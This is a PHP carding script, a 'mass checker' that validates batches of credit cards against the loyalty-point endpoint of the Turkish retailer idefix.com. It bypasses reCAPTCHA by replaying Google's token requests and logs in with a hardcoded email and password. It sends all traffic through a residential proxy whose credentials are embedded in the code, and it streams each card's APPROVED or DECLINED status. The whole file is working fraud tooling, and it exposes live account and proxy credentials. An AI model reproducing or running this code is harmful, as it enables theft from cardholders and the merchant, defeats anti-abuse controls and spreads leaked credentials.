<?php
// Idefix Puan MASS Checker API
// Real-time SSE ile sonuç güncelleme

error_reporting(0);
set_time_limit(180); // 3 dakika timeout

// SSE Headers
header('Content-Type: text/event-stream');
header('Cache-Control: no-cache');
header('Connection: keep-alive');
header('X-Accel-Buffering: no'); // Nginx buffering devre dışı

// Flush fonksiyonu
function send_sse($data) {
    echo "data: " . json_encode($data, JSON_UNESCAPED_UNICODE) . "\n\n";
    if (ob_get_level() > 0) {
        ob_flush();
    }
    flush();
}

// Proxy ayarları
$proxy = "rp.scrapegw.com:6060";
$proxyAuth = "ccb7t99f1xa6q6v-country-tr:e88zmabjie6wuek";

// ========================================
// reCAPTCHA Token Alma Fonksiyonu
// ========================================
function get_recaptcha_token() {
    // Step 1: Anchor request
    $anchor_url = "https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LdQhRwmAAAAAC6YTq1vhrP321R9uUuRNMPLIhbT&co=aHR0cHM6Ly93d3cuaWRlZml4LmNvbTo0NDM.&hl=tr&v=EGO3I7Q26cZ-jBw3BEtzIx7-&size=invisible&cb=io5exjbk71xn";
    
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $anchor_url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_HTTPHEADER => [
            "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
            "Pragma: no-cache",
            "Accept: */*"
        ],
        CURLOPT_TIMEOUT => 10
    ]);
    
    $response = curl_exec($ch);
    curl_close($ch);
    
    if (!$response) return null;
    
    // Parse token
    preg_match('/<input type="hidden" id="recaptcha-token" value="([^"]+)"/', $response, $matches);
    if (!isset($matches[1])) return null;
    
    $tk = $matches[1];
    
    // Step 2: Reload request
    $reload_url = "https://www.google.com/recaptcha/api2/reload?k=6LdQhRwmAAAAAC6YTq1vhrP321R9uUuRNMPLIhbT";
    
    $payload = "c=" . urlencode($tk) . "&reason=q&k=6LdQhRwmAAAAAC6YTq1vhrP321R9uUuRNMPLIhbT";
    
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $reload_url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $payload,
        CURLOPT_HTTPHEADER => [
            "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
            "Pragma: no-cache",
            "Accept: */*",
            "Content-Type: application/x-www-form-urlencoded"
        ],
        CURLOPT_TIMEOUT => 10
    ]);
    
    $response = curl_exec($ch);
    curl_close($ch);
    
    if (!$response) return null;
    
    // Parse final token
    preg_match('/\["rresp","([^"]+)"/', $response, $matches);
    if (!isset($matches[1])) return null;
    
    return $matches[1];
}

// ========================================
// Idefix Login Fonksiyonu
// ========================================
function idefix_login($recaptcha_token, $proxy, $proxyAuth) {
    $login_url = "https://ecomapi.idefix.com/api/customer/login";

    $login_payload = json_encode([
        "mail" => "albayrakori@gmail.com",
        "password" => "01101992Aa",
        "gResponse" => $recaptcha_token
    ]);

    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $login_url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $login_payload,
        CURLOPT_ENCODING => "", // gzip/deflate/br otomatik decode
        CURLOPT_PROXY => $proxy,
        CURLOPT_PROXYUSERPWD => $proxyAuth,
        CURLOPT_PROXYTYPE => CURLPROXY_HTTP,
        CURLOPT_HTTPHEADER => [
            "Host: ecomapi.idefix.com",
            "X-Platform: web",
            "Sec-Ch-Ua-Platform: \"Windows\"",
            "Cache-Control: no-cache",
            "Accept-Language: tr-TR,tr;q=0.9",
            "Sec-Ch-Ua: \"Not_A Brand\";v=\"99\", \"Chromium\";v=\"142\"",
            "Sec-Ch-Ua-Mobile: ?0",
            "Access-Control-Allow-Origin: *",
            "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
            "Accept: application/json, text/plain, */*",
            "Content-Type: application/json",
            "Origin: https://www.idefix.com",
            "Sec-Fetch-Site: same-site",
            "Sec-Fetch-Mode: cors",
            "Sec-Fetch-Dest: empty",
            "Referer: https://www.idefix.com/",
            "Accept-Encoding: gzip, deflate, br",
            "Priority: u=1, i"
        ],
        CURLOPT_TIMEOUT => 15
    ]);

    $response = curl_exec($ch);
    curl_close($ch);

    if (!$response) return null;

    $login_data = json_decode($response, true);

    // Hata kontrolü
    if (isset($login_data['errorCode']) || strpos($response, '"code":403') !== false) {
        return null;
    }

    // Token'ları parse et
    preg_match('/"token":"([^"]+)"/', $response, $token_match);
    preg_match('/"refreshToken":"([^"]+)"/', $response, $refresh_match);

    if (!isset($token_match[1]) || !isset($refresh_match[1])) {
        return null;
    }

    return [
        'access_token' => $token_match[1],
        'refresh_token' => $refresh_match[1]
    ];
}

// ========================================
// Puan Kontrol Fonksiyonu
// ========================================
function check_card_points($card, $month, $year, $cvv, $access_token, $refresh_token, $proxy, $proxyAuth) {
    $point_url = "https://ecomapi.idefix.com/api/payment/card/loyalty-point-check";

    $point_payload = json_encode([
        "cardType" => "creditCard",
        "creditCard" => [
            "cardHolderName" => "kayra kerem",
            "cardNumber" => $card,
            "cardMonth" => $month,
            "cardYear" => $year,
            "cvv" => $cvv
        ],
        "storedCardToken" => "",
        "voucherId" => 0,
        "couponId" => 0,
        "vendorCouponId" => 0,
        "installmentId" => 2599
    ]);

    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $point_url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $point_payload,
        CURLOPT_ENCODING => "", // gzip/deflate/br otomatik decode
        CURLOPT_PROXY => $proxy,
        CURLOPT_PROXYUSERPWD => $proxyAuth,
        CURLOPT_PROXYTYPE => CURLPROXY_HTTP,
        CURLOPT_HTTPHEADER => [
            "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
            "Pragma: no-cache",
            "Accept: */*",
            "Referer: https://www.idefix.com/",
            "Sec-Ch-Ua: \"Chromium\";v=\"134\", \"Not:A-Brand\";v=\"24\"",
            "Sec-Ch-Ua-Mobile: ?0",
            "Sec-Ch-Ua-Platform: \"Windows\"",
            "Sec-Fetch-Dest: empty",
            "Sec-Fetch-Mode: cors",
            "Sec-Fetch-Site: same-site",
            "Sessionid: " . $refresh_token,
            "Token: " . $access_token,
            "X-Platform: web",
            "Content-Type: application/json"
        ],
        CURLOPT_TIMEOUT => 15
    ]);

    $response = curl_exec($ch);
    curl_close($ch);

    if (!$response) return ['status' => 'error', 'amount' => '0'];

    $point_data = json_decode($response, true);

    $status = isset($point_data['status']) ? $point_data['status'] : '';
    $amount = isset($point_data['loyaltyPointAmount']) ? (string)$point_data['loyaltyPointAmount'] : '0';

    return [
        'status' => $status,
        'amount' => $amount
    ];
}

// Kartları al
$cards_param = isset($_GET['cards']) ? $_GET['cards'] : '';
$cards_raw = explode("\n", trim($cards_param));

// Boş satırları temizle ve maksimum 50 kart
$cards = [];
foreach ($cards_raw as $card) {
    $card = trim($card);
    if (!empty($card)) {
        $cards[] = $card;
    }
    if (count($cards) >= 50) {
        break;
    }
}

$total = count($cards);

if ($total == 0) {
    send_sse([
        'type' => 'error',
        'message' => 'Kart bilgisi bulunamadı'
    ]);
    exit;
}

// reCAPTCHA token al ve login yap (retry mekanizması ile)
$max_retries = 3;
$login_success = false;
$access_token = null;
$refresh_token = null;

for ($retry = 0; $retry < $max_retries; $retry++) {
    // reCAPTCHA token al
    $recaptcha_token = get_recaptcha_token();
    if (!$recaptcha_token) {
        if ($retry < $max_retries - 1) {
            sleep(2); // Kısa bekle ve tekrar dene
            continue;
        }
        send_sse([
            'type' => 'error',
            'message' => 'reCAPTCHA token alınamadı'
        ]);
        exit;
    }
    
    // Login yap
    $login_result = idefix_login($recaptcha_token, $proxy, $proxyAuth);
    if ($login_result) {
        $access_token = $login_result['access_token'];
        $refresh_token = $login_result['refresh_token'];
        $login_success = true;
        break;
    }
    
    // Login başarısız, tekrar dene
    if ($retry < $max_retries - 1) {
        sleep(2); // Kısa bekle ve tekrar dene
    }
}

// Tüm denemeler başarısız olduysa
if (!$login_success) {
    send_sse([
        'type' => 'error',
        'message' => 'Login başarısız (3 deneme yapıldı)'
    ]);
    exit;
}

$results = [];

// Her kartı işle
foreach ($cards as $index => $card_line) {
    $num = $index + 1;
    
    // Kart bilgilerini parse et
    $kart_parts = explode('|', $card_line);
    
    if (count($kart_parts) != 4) {
        $results[] = [
            'number' => $num,
            'card' => $card_line,
            'amount' => '0',
            'status' => 'DECLINED❌'
        ];
        
        // Progress gönder
        send_sse([
            'type' => 'progress',
            'current' => $num,
            'total' => $total,
            'results' => $results
        ]);
        
        continue;
    }
    
    $card_input = str_replace(' ', '', $kart_parts[0]);
    $month_input = $kart_parts[1];
    $year_input = substr($kart_parts[2], -2);
    $cvv_input = $kart_parts[3];
    
    // Ay formatı düzelt
    if (strlen($month_input) === 1) {
        $month_input = "0" . $month_input;
    }
    
    // Kart formatını kontrol et
    if (strlen($card_input) != 16) {
        $results[] = [
            'number' => $num,
            'card' => $card_line,
            'amount' => '0',
            'status' => 'DECLINED❌'
        ];
        
        send_sse([
            'type' => 'progress',
            'current' => $num,
            'total' => $total,
            'results' => $results
        ]);
        
        continue;
    }
    
    // Puan kontrolü yap
    $point_result = check_card_points($card_input, $month_input, $year_input, $cvv_input, $access_token, $refresh_token, $proxy, $proxyAuth);
    
    $amount = $point_result['amount'];
    $status = ($point_result['status'] === 'Success' && (float)$amount > 0) ? 'APPROVED✅' : 'DECLINED❌';
    
    // Sonuç ekle
    $results[] = [
        'number' => $num,
        'card' => $card_line,
        'amount' => $amount,
        'status' => $status
    ];
    
    // Progress gönder
    send_sse([
        'type' => 'progress',
        'current' => $num,
        'total' => $total,
        'results' => $results
    ]);
}

// Final sonuç
send_sse([
    'type' => 'complete',
    'total' => $total,
    'results' => $results
]);

?>
